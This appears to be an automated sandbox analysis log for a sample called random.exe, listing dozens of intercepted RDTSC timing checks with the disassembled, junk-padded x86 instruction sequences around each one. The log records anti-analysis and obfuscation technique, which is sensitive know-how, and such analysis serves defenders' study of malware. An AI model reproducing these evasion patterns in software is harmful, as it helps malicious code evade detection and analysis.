Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410405 second address: 541045C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC0CEEBFA7h 0x00000009 xor ecx, 13CF35EEh 0x0000000f jmp 00007FAC0CEEBFA9h 0x00000014 popfd 0x00000015 mov ah, 75h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov eax, edx 0x0000001e mov di, 1568h 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FAC0CEEBF9Ah 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 541045C second address: 5410462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54202F3 second address: 542031C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FAC0CEEBF9Dh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FAC0CEEBF9Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 542031C second address: 5420341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ebx, eax 0x0000000e movzx eax, bx 0x00000011 popad 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5420341 second address: 5420345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5420345 second address: 542034B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 546047D second address: 5460483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5460483 second address: 54604D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FAC0CE0F75Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ebx, 06899710h 0x00000017 pushfd 0x00000018 jmp 00007FAC0CE0F769h 0x0000001d or esi, 07DC1D96h 0x00000023 jmp 00007FAC0CE0F761h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54604D6 second address: 5460504 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, 16CEh 0x00000012 jmp 00007FAC0CEEBF9Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543073B second address: 543079E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d jmp 00007FAC0CE0F764h 0x00000012 jmp 00007FAC0CE0F762h 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FAC0CE0F75Eh 0x00000021 sbb ax, AB28h 0x00000026 jmp 00007FAC0CE0F75Bh 0x0000002b popfd 0x0000002c push eax 0x0000002d push edx 0x0000002e mov ax, 4135h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543079E second address: 54307C8 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b jmp 00007FAC0CEEBF9Dh 0x00000010 and dword ptr [eax], 00000000h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAC0CEEBF9Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 541057B second address: 5410581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410581 second address: 5410585 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5410585 second address: 54105F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FAC0CE0F768h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FAC0CE0F760h 0x00000016 mov ebp, esp 0x00000018 jmp 00007FAC0CE0F760h 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FAC0CE0F75Dh 0x00000027 add al, FFFFFF96h 0x0000002a jmp 00007FAC0CE0F761h 0x0000002f popfd 0x00000030 mov bh, ah 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430203 second address: 5430209 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430209 second address: 543022A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC0CE0F75Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543022A second address: 543022E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543022E second address: 5430234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430234 second address: 5430252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov di, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC0CEEBFA0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430252 second address: 543028B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC0CE0F761h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov ch, 9Bh 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAC0CE0F767h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543028B second address: 5430291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430291 second address: 54302CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAC0CE0F768h 0x00000012 add ch, FFFFFFB8h 0x00000015 jmp 00007FAC0CE0F75Bh 0x0000001a popfd 0x0000001b mov ecx, 3040DCEFh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430556 second address: 5430580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC0CEEBFA8h 0x00000008 mov di, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bx, si 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430580 second address: 5430586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5430586 second address: 543058A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543058A second address: 543059E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bl, ah 0x0000000e mov edi, 031AEAC0h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 543059E second address: 54305A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54305A4 second address: 54305A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 545077E second address: 54507A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, 3090E98Eh 0x00000012 mov bl, 10h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54507A7 second address: 54507AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54507AD second address: 54507E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov edi, 4361E3FAh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FAC0CEEBFA3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54507E4 second address: 5450812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FAC0CE0F75Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54508F9 second address: 54508FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54508FF second address: 545091C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F769h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 545091C second address: 545094A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a pushad 0x0000000b mov ebx, 208E3CAEh 0x00000010 mov ax, dx 0x00000013 popad 0x00000014 xor eax, dword ptr [ebp+08h] 0x00000017 jmp 00007FAC0CEEBF9Eh 0x0000001c and ecx, 1Fh 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 545094A second address: 5450967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450967 second address: 545096D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 545096D second address: 5450971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450971 second address: 54509A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ror eax, cl 0x0000000d jmp 00007FAC0CEEBFA6h 0x00000012 leave 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54509A9 second address: 54509AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54509AD second address: 54509B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54509B1 second address: 54509B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54509B7 second address: 5450A0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC0CEEBFA2h 0x00000009 xor cx, 6D48h 0x0000000e jmp 00007FAC0CEEBF9Bh 0x00000013 popfd 0x00000014 mov ch, ECh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 retn 0004h 0x0000001c nop 0x0000001d mov esi, eax 0x0000001f lea eax, dword ptr [ebp-08h] 0x00000022 xor esi, dword ptr [00822014h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push eax 0x0000002b lea eax, dword ptr [ebp-10h] 0x0000002e push eax 0x0000002f call 00007FAC11B5C8BCh 0x00000034 push FFFFFFFEh 0x00000036 jmp 00007FAC0CEEBF9Bh 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FAC0CEEBFA5h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450A0B second address: 5450A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450A11 second address: 5450A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450A15 second address: 5450A3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F763h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ret 0x0000000c nop 0x0000000d push eax 0x0000000e call 00007FAC11A800BEh 0x00000013 mov edi, edi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a movsx edx, cx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450A3A second address: 5450A8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBFA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAC0CEEBFA6h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 pushfd 0x00000016 jmp 00007FAC0CEEBF9Ah 0x0000001b sbb eax, 7D6541F8h 0x00000021 jmp 00007FAC0CEEBF9Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450A8C second address: 5450A93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 34h 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450A93 second address: 5450AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007FAC0CEEBF9Ah 0x0000000f add ch, 00000058h 0x00000012 jmp 00007FAC0CEEBF9Bh 0x00000017 popfd 0x00000018 mov bh, al 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5450AC1 second address: 5450ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F768h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400008 second address: 54000A1 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FAC0CEEBFA5h 0x0000000c sbb ax, EA46h 0x00000011 jmp 00007FAC0CEEBFA1h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007FAC0CEEBF9Eh 0x0000001e push eax 0x0000001f jmp 00007FAC0CEEBF9Bh 0x00000024 xchg eax, ebp 0x00000025 jmp 00007FAC0CEEBFA6h 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007FAC0CEEBF9Eh 0x00000033 add si, AC78h 0x00000038 jmp 00007FAC0CEEBF9Bh 0x0000003d popfd 0x0000003e popad 0x0000003f and esp, FFFFFFF8h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov di, ax 0x00000048 mov esi, 235254F9h 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54000A1 second address: 540017B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov edx, esi 0x0000000d call 00007FAC0CE0F760h 0x00000012 jmp 00007FAC0CE0F762h 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FAC0CE0F760h 0x0000001f xchg eax, ecx 0x00000020 jmp 00007FAC0CE0F760h 0x00000025 xchg eax, ebx 0x00000026 pushad 0x00000027 mov ebx, esi 0x00000029 pushfd 0x0000002a jmp 00007FAC0CE0F75Ah 0x0000002f xor cx, 35F8h 0x00000034 jmp 00007FAC0CE0F75Bh 0x00000039 popfd 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d mov edx, 293C8BE6h 0x00000042 popad 0x00000043 xchg eax, ebx 0x00000044 jmp 00007FAC0CE0F75Dh 0x00000049 mov ebx, dword ptr [ebp+10h] 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007FAC0CE0F75Ch 0x00000053 adc ecx, 55E23F88h 0x00000059 jmp 00007FAC0CE0F75Bh 0x0000005e popfd 0x0000005f popad 0x00000060 xchg eax, esi 0x00000061 pushad 0x00000062 mov eax, 3B70ABF7h 0x00000067 mov di, ax 0x0000006a popad 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FAC0CE0F764h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 540017B second address: 54001A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CEEBF9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC0CEEBFA5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54001A2 second address: 54001EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 58862042h 0x00000008 pushfd 0x00000009 jmp 00007FAC0CE0F763h 0x0000000e add ah, 0000003Eh 0x00000011 jmp 00007FAC0CE0F769h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov di, 1C9Eh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54001EA second address: 54001EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54001EF second address: 54001F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54001F5 second address: 54001F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54001F9 second address: 540023A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushfd 0x00000012 jmp 00007FAC0CE0F763h 0x00000017 jmp 00007FAC0CE0F763h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 540023A second address: 5400252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CEEBFA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400252 second address: 5400256 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400256 second address: 54002D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FAC0CEEBF9Ch 0x00000010 adc eax, 19F5A358h 0x00000016 jmp 00007FAC0CEEBF9Bh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, edi 0x0000001e pushad 0x0000001f mov ebx, esi 0x00000021 movzx esi, di 0x00000024 popad 0x00000025 test esi, esi 0x00000027 jmp 00007FAC0CEEBF9Fh 0x0000002c je 00007FAC7EA1A312h 0x00000032 jmp 00007FAC0CEEBFA6h 0x00000037 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FAC0CEEBFA7h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54002D5 second address: 54002ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC0CE0F764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54002ED second address: 540036A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FAC7EA1A2CCh 0x0000000e jmp 00007FAC0CEEBFA7h 0x00000013 mov edx, dword ptr [esi+44h] 0x00000016 pushad 0x00000017 push esi 0x00000018 pushfd 0x00000019 jmp 00007FAC0CEEBF9Bh 0x0000001e add ah, FFFFFF9Eh 0x00000021 jmp 00007FAC0CEEBFA9h 0x00000026 popfd 0x00000027 pop esi 0x00000028 mov al, dh 0x0000002a popad 0x0000002b or edx, dword ptr [ebp+0Ch] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007FAC0CEEBF9Bh 0x00000037 jmp 00007FAC0CEEBFA3h 0x0000003c popfd 0x0000003d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 540036A second address: 54003B1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAC0CE0F768h 0x00000008 adc esi, 141EB328h 0x0000000e jmp 00007FAC0CE0F75Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test edx, 61000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FAC0CE0F75Bh 0x00000025 mov ebx, esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54003B1 second address: 54003FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FAC0CEEBFA1h 0x0000000b sbb cl, FFFFFFF6h 0x0000000e jmp 00007FAC0CEEBFA1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jne 00007FAC7EA1A23Eh 0x0000001d jmp 00007FAC0CEEBF9Eh 0x00000022 test byte ptr [esi+48h], 00000001h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 54003FE second address: 5400402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 5400402 second address: 5400408 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0835 second address: 53F0856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC0CE0F75Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC0CE0F75Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0856 second address: 53F087E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 mov di, AAFEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov dl, cl 0x00000010 mov dl, 1Fh 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAC0CEEBFA0h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F087E second address: 53F0882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe RDTSC instruction interceptor: First address: 53F0882 second address: 53F0888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
